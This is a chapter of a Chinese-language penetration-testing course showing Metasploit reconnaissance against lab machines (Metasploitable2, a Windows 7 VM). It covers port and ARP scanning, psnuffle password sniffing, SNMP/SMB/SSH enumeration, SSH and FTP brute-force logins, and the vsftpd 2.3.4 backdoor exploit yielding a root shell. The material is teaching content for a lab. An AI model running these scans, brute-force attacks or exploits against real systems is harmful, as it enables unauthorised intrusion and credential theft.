主要内容:
8.1 基于 TCP 协议收集主机信息
8.2 基于 SNMP 协议收集主机信息
8.3 基于 SMB 协议收集信息
8.4 基于 SSH 协议收集信息
8.5 基于 FTP 协议收集信息

8.1 基于tcp 协议收集主机信息

我们前面学习了主动信息收集和被动信息收集,而且还学习了漏洞检测工具NESSUS,接下来给大家讲解使用Metasploit来对目标进行信息收集,这个过程包含了前面所有的方式以及多了一些更加极端的获取信息方式,比如获取服务器的硬件信息,系统用户信息、进程信息等。

8.1.1 使用Metasploit 中的nmap 和arp_sweep 收集主机信息

Metasploit 中也有 NMAP 工具
┌──(root㉿kali)-[~]
└─# msfdb run
msf6 > db_nmap -sV 192.168.1.1
image.png
ARP 扫描
msf6 > use auxiliary/scanner/discovery/arp_sweep
查看一下模块需要配置哪些参数
msf6 auxiliary(scanner/discovery/arp_sweep) > show options
image.png
配置 RHOSTS(扫描的目标网络)即可
msf6 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 192.168.1.0/24
SHOST 和 SMAC 是伪造源 IP 和 MAC 地址使用的。
配置线程数
msf6 auxiliary(scanner/discovery/arp_sweep) > set THREADS 15
msf6 auxiliary(scanner/discovery/arp_sweep) > run
image.png
msf6 auxiliary(scanner/discovery/arp_sweep) > back #退出一下

8.1.2 使用半连接方式扫描TCP 端口

msf6 > search portscan
image.png
这些我们前面就学习过的 TCP 扫描相关内容,其他的是一些应用的扫描。
msf6 > use auxiliary/scanner/portscan/syn
查看配置项
msf6 > use auxiliary/scanner/portscan/syn
msf6 auxiliary(scanner/portscan/syn) > show options
image.png
设置扫描的目标
msf6 auxiliary(scanner/portscan/syn) > set RHOSTS 192.168.1.1
设置端口范围使用逗号隔开
msf6 auxiliary(scanner/portscan/syn) > set PORTS 80
设置线程数
msf6 auxiliary(scanner/portscan/syn) > set THREADS 20
msf6 auxiliary(scanner/portscan/syn) > run
image.png
——————————此部分开始,IP网段均为192.168.3.0/24——————————

8.1.3 使用auxiliary /sniffer 下的psnuffle 模块进行密码嗅探

实验拓扑图:
image.png
msf6 > search psnuffle
image.png
msf6 > use auxiliary/sniffer/psnuffle
查看 psnuffle 的模块作用:
msf6 auxiliary(sniffer/psnuffle) > info
image.png
Description:This module sniffs passwords like dsniff did in the past
#这个 psnuffle 模块可以像以前的dsniff 命令一样,去嗅探密码,只支持pop3、imap、ftp、HTTP GET 协议。

msf6 auxiliary(sniffer/psnuffle) > show options
msf6 auxiliary(sniffer/psnuffle) > run
新建一个终端窗口登录 ftp,Metasploitable2-Linux 靶机中已经开启了 ftp 服务可以直接登录。
┌──(root㉿kali)-[~]
└─# apt install lftp -y #安装 lftp 命令
└─# lftp -u msfadmin 192.168.3.120
密码:msfadmin
连接成功后,进行下数据交互,查看 ftp 目录下的文件
lftp msfadmin@192.168.3.120:~> ls
image.png
回到 MSF 终端可以看到用户名密码信息已经被获取。
image.png
嗅探完成后记得把后台任务关闭
msf6 auxiliary(sniffer/psnuffle) > jobs #查看后台运行的任务
msf6 auxiliary(sniffer/psnuffle) > kill 1 #kill job 的ID,关闭job
image.png
注:结束全部任务:kill -K
结束单个任务:kill -k xxx

8.2 基于SNMP 协议收集主机信息

简单网络管理协议(SNMP,Simple Network Management Protocol),由一组网络管理的标准组成,包含一个应用层协议(application layer protocol)、数据库模型(database schema)和一组资源对象。该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况。
我们使用 root 用户先到 Metasploitable2-Linux 主机上修改一下 SNMP 服务,因为默认服务是不对外开放的。
**msfadmin@metasploitable:~# vim /etc/default/snmpd
改第 11 行
SNMPDOPTS=’-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 127.0.0.1’
为:
SNMPDOPTS=’-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 0.0.0.0’
保存退出
重启 SNMP 服务
msfadmin@metasploitable:~$ sudo /etc/init.d/snmpd restart
确认服务监听正常
msfadmin@metasploitable:~$ netstat -antup | grep 161
(No info could be read for “-p”: geteuid()=1000 but you should be root.)
udp 0 0 0.0.0.0:161 0.0.0.0:* -
image.png
实战-使用 snmp_enum 模块通过 snmp 协议扫描目标服务器信息
msf6 > use auxiliary/scanner/snmp/snmp_enum
msf6 auxiliary(scanner/snmp/snmp_enum) > show options
image.png
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 192.168.3.120
msf6 auxiliary(scanner/snmp/snmp_enum) > run
image.png
注:可以看到通过 snmp 协议探测到的信息非常多。如服务器硬件信息和服务器当前运行的进程,这两方面是其他扫描方式,获取不到的。

8.3 基于SMB 协议收集信息

SMB概述:服务器消息块(Server Message Block,缩写为SMB),又称网络文件共享系统(Common Internet File System,缩写为CIFS),一种应用层网络传输协议,由微软开发,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。
经过Unix服务器厂商重新开发后,它可以用于连接Unix服务器和Windows客户机,执行打印和文件共享等任务。

8.3.1 使用smb_version 基于SMB 协议扫描版本号

msf6 > use auxiliary/scanner/smb/smb_version
设置扫描目标,注意多个目标使用逗号+空格隔开
msf6 auxiliary(scanner/smb/smb_version) > show options
#设置
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.3.41, 192.168.3.120
注: 192.168.3.41 后面的逗号和 192.168.3.120 之间是有空格的
msf6 auxiliary(scanner/smb/smb_version) > run
image.png
注:可以扫描出来操作系统的版本号,版本号很准确。

8.3.2 使用smb_enumshares 基于 SMB 协议扫共享文件(账号、密码)

SMB 的模块中基本上都是可以配置用户名和密码的,配置了用户名和密码某些模块扫描的结果会更满足我们的需求。
我们到 Windows 中启用一下共享服务。
新建文件夹 abc 并进入该文件夹。
image.png
image.png
image.png
枚举共享
msf6 > use auxiliary/scanner/smb/smb_enumshares
msf6 auxiliary(scanner/smb/smb_enumshares) > show options
扫描 192.168.1.40 到 192.168.1.45 的机器
msf6 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 192.168.1.40-45
如果你不配置用户,就扫描不到信息。配置一下用户信息,我这里用户是默认的管理员用户。
msf6 auxiliary(scanner/smb/smb_enumshares) > set SMBUser administrator
msf6 auxiliary(scanner/smb/smb_enumshares) > set SMBPass 123456
msf6 auxiliary(scanner/smb/smb_enumshares) > run
image.png
可以看到有 1 个是我们前面设置的 abc 共享文件目录还有 4 个是隐藏的共享目录。

8.3.3 使用smb_lookupsid 扫描系统用户信息(SID 枚举)

我们在 Win7 上新建一个 abc 用户。密码也是 123456。
右键计算机→管理→本地用户和组→用户 ,在空白处,右击新建一个用户
image.png
用户:abc 密码: 123456
image.png
注:SID 是 Windows 中每一个用户的 ID,更改用户名 SID 也是不会改变的。
msf6 > use auxiliary/scanner/smb/smb_lookupsid
msf6 auxiliary(scanner/smb/smb_lookupsid) > show options
msf6 auxiliary(scanner/smb/smb_lookupsid) > set RHOSTS 192.168.1.41
msf6 auxiliary(scanner/smb/smb_lookupsid) > set SMBUser administrator
msf6 auxiliary(scanner/smb/smb_lookupsid) > set SMBPass 123456
msf6 auxiliary(scanner/smb/smb_lookupsid) > run
image.png

8.4 基于SSH 协议收集信息

8.4.1 查看ssh 服务的版本信息

msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(scanner/ssh/ssh_version) > show options
msf6 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.1.120
msf6 auxiliary(scanner/ssh/ssh_version) > run
image.png

8.4.2 对SSH 暴力破解

msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > show options
msf auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.1.120
设置字典文件默认的字典文件是不满足实际需求的后期我们使用更强大的字典文件。
msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
因为字典文件中不包含我们的用户密码信息我们把自己的密码信息手动加入进去以便展示效果
新开一个终端窗口
┌──(root㉿kali)-[~]
└─# echo “msfadmin msfadmin” >> /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
回到 MSF 终端
msf6 auxiliary(scanner/ssh/ssh_login) > run
image.png
因为我们是在文件的最后添加的正确的用户名和密码,所以前面的都是失败的操作。

ssh 暴力破解成功后,会自动建立与目标机的连接查看已建立的连接
msf6 auxiliary(scanner/ssh/ssh_login) > sessions
image.png**进入目标机,并执行命令
image.png
注:shell payload在linux系统前没有提示符。

8.5 基于FTP 协议收集信息

8.5.1 查看ftp 服务的版本信息加载ftp 服务版本扫描模块

msf6 > use auxiliary/scanner/ftp/ftp_version
查看设置参数
msf6 auxiliary(scanner/ftp/ftp_version) > show options
image.png
设置目标 IP,可以设置多个
msf6 auxiliary(scanner/ftp/ftp_version) > set RHOSTS 192.168.1.120
执行扫描,输入 exploit 或 run
msf6 auxiliary(scanner/ftp/ftp_version) > run
image.png
扫描出结果是:vsFTPd 2.3.4
msf6 auxiliary(scanner/ftp/ftp_version) > back

扫描出 ftp 服务的版本号,我们可以尝试搜索版本号,看看有没有可以利用的模块
msf6 > search 2.3.4
image.png
或者搜索 vsftpd
msf6 > search vsftpd
image.png
我们发现存在一个 exploit 模块,而且这个版本的 ftp 服务存在一个后门我们尝试利用下这个模块
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
image.png
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.120
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
image.png
拿到了 shell,而且是 root 权限,我们尝试执行下命令执行 id 命令, 查看当前用户
image.png
执行 ifconfig 命令,查看 IP 地址
image.png

8.5.2 ftp 匿名登录扫描

msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(scanner/ftp/anonymous) show options
image.png
msf6 auxiliary(scanner/ftp/anonymous) > set RHOSTS 192.168.1.120
msf6 auxiliary(scanner/ftp/anonymous) > run
image.png

8.5.3 ftp 暴力破解

msf6 > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(scanner/ftp/ftp_login) > show options
image.png
msf6 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 192.168.1.120
设置字典文件为默认的字典文件是不满足实际需求的,后期我们使用更强大的字典文件。
msf6 auxiliary(scanner/ftp/ftp_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
因为字典文件中不包含我们的用户密码信息,所以我们把正确的密码信息手动加入进去以便展示效果新开一个终端窗口
┌──(root㉿kali)-[~]
└─# echo “msfadmin msfadmin” >> /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
回到 MSF 终端
msf6 auxiliary(scanner/ftp/ftp_login) > run
image.png
因为我们是在文件的最后添加的正确的用户名和密码,所以前面的都是失败的操作。